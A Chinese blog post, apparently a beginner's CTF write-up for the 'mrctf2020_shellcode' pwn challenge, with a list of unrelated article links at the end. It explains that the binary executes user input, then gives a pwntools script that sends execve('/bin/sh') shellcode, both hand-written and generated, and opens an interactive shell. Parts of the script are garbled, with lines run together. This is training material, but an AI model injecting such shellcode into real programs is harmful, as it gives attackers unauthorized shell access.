当前位置: 首页 > news >正文

第二道pwn题:shellcode

题目来自视频:

链接:https://pan.baidu.com/s/17vX9dbfHkXBw71mcEXBgNQ?pwd=6666

提取码:6666

  1. 查看文件类型和保护,虽然现在的我·还没有明白太多的保护。

64位,放到ida里边

rbp:保存的是栈中当前执行函数的基本地址。当前执行函数所有存储在

栈上的数据都要靠rbp指针加上偏移量来读取。、

rsp:栈指针,永远指向栈顶。

这里使用了视频说这里用了 call rax所以不能用F5

最重要的是最后,call rax,[rbp+buf]

他的意思就是执行输入的内容

那么如果我们输入shellcode不久获取到了权限了吗。

可以用gdb检查下执行权限

先下断点到main然后运行

然后再vmmap

最后一个栈是可以执行的。也就是我们写入的数据。

脚本:

这里的脚本有两个shellcode

一个是手写的,另一个是pwn生成的。

选其一即可。

from pwn import *
context(os='linux',arch='amd64',terminal=['tmux','sp','-h']) //声明系统
#p=remote('node3.buuoj.cn',27250)  
p=process('./mrctf2020_shellcode') //本地连接shellcode1=shellcraft.sh()  //  用pwntools生成shellcode
payload1=asm(shellcode1)  //asm将shellcode(汇编)转换成机器码shellcode2='''mov rbx,0x68732f6e69622fpush rbxpush rsppop rdixor esi,esixor edx,edxpush 0x3bpop raxsyscall
'''
payload2=asm(shellcode2)
#gdb.attach(p)
p.send(payload2)#p.send(payload1)
p.interactive()   //进行交互相当于回到shell的模式,在取得shell之后使用

http://www.lryc.cn/news/34857.html

相关文章:

  • 《华为数据之道》读书笔记
  • C++源码pcl1.13.0库编译环境搭建及配置
  • Idea工具单工程使用卡顿设置
  • Android 9.0 Camera2退出时屏幕旋转为横屏
  • 【云原生】rancher2.6部署MySQL—2023.03
  • 行测-判断推理-图形推理-样式规律-空间重构-立体拼合
  • 细说蛮力法(一)
  • 关于推荐系统的详细介绍
  • leetCode刷题笔记
  • 数学小课堂:数学和哲学的互动关系(自洽的哲学思想受益于数学思维)
  • 大聪明教你学Java | 带你了解 Redis 的三种集群模式
  • Java中异常(异常的处理方式(JVM默认的处理方式、自己处理(灵魂四问)、抛出异常(throws、throw))、异常中的常见方法、小练习、自定义异常)
  • 液氮恒温器概述
  • Shiro核心——Realm
  • 开发钉钉微应用,实现免登+调试
  • 0308java基础-注解,反射
  • 【鸿蒙应用ArkTS开发系列】- 页面跳转及传参
  • StringBuilder 类
  • kubectl-k8s用户切换
  • 【面试题】三道面试题让你掌握JavaScript中的执行上下文与作用域以及闭包
  • 计算机网络-- 应用层(day08)
  • English Learning - L2-5 英音地道语音语调 弹力双元音 [ɪə] [ʊə] [eə] 2023.03.6 周一
  • SpringBoot——统一功能处理
  • ORACLE SQL格式化小数点
  • 【信息学奥数】—— 第一部分 C++语言 知识总结
  • video层级过高,以及界面使用多个video时,在安卓APP上同时播放的问题(uniapp)
  • C++基础了解-14-C++ 字符串
  • 浅谈几种网络攻击及攻防原理
  • Kafka消息中间件(Kafka与MQTT区别)
  • Go垃圾回收原理